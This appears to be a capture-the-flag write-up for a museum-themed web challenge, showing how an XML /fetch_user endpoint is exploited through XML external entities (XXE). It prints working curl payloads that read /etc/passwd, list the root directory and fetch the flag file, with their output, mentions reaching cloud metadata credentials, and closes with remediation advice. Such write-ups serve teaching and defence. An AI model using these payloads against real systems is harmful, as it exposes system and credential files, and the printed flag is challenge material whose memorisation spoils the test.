Archived, Web
What the challenge was
A museum collection page that fetched user records through XML. The front end built a small document like <request><id>…</id></request> and posted it to /fetch_user, then rendered the returned <user> fields. The description hinted that one catalog pointed to a second, unrelated store of data.
Initial recon
Fetching the landing page and reading the inline script showed the exact request shape:
const requestXml = `
<request>
<id>${userId}</id>
</request>
`;
const response = await fetch(class="hljs-string">'/fetch_user', {
method: class="hljs-string">'POST',
headers: {
class="hljs-string">'Content-Type': class="hljs-string">'application/xml'
},
body: requestXml
});Testing the endpoint with a normal record:
ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<request><id>1</id></request>' http://54.72.82.22:8230/fetch_user<user><id>45905544</id><name>Mkenya Halisi</name><phone_number>254797000111</phone_number><balance>17000.00</balance></user>A second ID returned a different user, so the backend was parsing the XML and looking up the supplied identifier. Given an XML body, external entity resolution was the obvious suspicion.
The path
A classic file read followed, asking the parser to expand an entity pointing at a known system file:
ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE request [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><request><id>&xxe;</id></request>' http://54.72.82.22:8230/fetch_user<user><id>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
ctfuser:x:1001:1001::/home/ctfuser:/bin/bash
</id><name></name><phone_number></phone_number><balance></balance></user>The file content returned inside the id field, confirming XXE with direct reflection rather
than a blind channel. Guessed flag paths such as /flag returned Invalid input, so name
guessing stopped and directory enumeration began, the parser also expanding directory URLs:
ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///">]><request><id>&x;</id></request>' http://54.72.82.22:8230/fetch_user<user><id>__cacert_entrypoint.sh|.dockerenv|.rock|bin|boot|dev|etc|flag8b9d5b8e264a.txt|home|lib|lib64|media|mnt|opt|proc|root|run|sbin|srv|sys|tmp|usr|var|</id></user>The second archive was located: a flag file at the filesystem root with an unrelated random name, matching the hint.
The exploit
That file reads through the same entity channel:
ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///flag8b9d5b8e264a.txt">]><request><id>&x;</id></request>' http://54.72.82.22:8230/fetch_userResponse:
<user><id>safctf{960c0e8a73c24bd9b1aee314ded96157}
</id><name></name><phone_number></phone_number><balance></balance></user>The same primitive also reached the cloud metadata service, which confirms the parser
performs server-side fetches for both file:// and http:// entity targets. Those
credentials were not needed once the local flag file was visible.
The flag
safctf{960c0e8a73c24bd9b1aee314ded96157}Methodological notes
The avoidable error was guessing exact flag filenames. A single listing of / returned the
answer immediately and would have removed several failed guesses. The efficient sequence is
to move directly from one successful file:///etc/passwd read to a root directory listing,
then read whatever looks out of place.
The remediation is to disable external entity resolution and use a hardened XML parser, plus to keep flag files outside the reach of the application user.
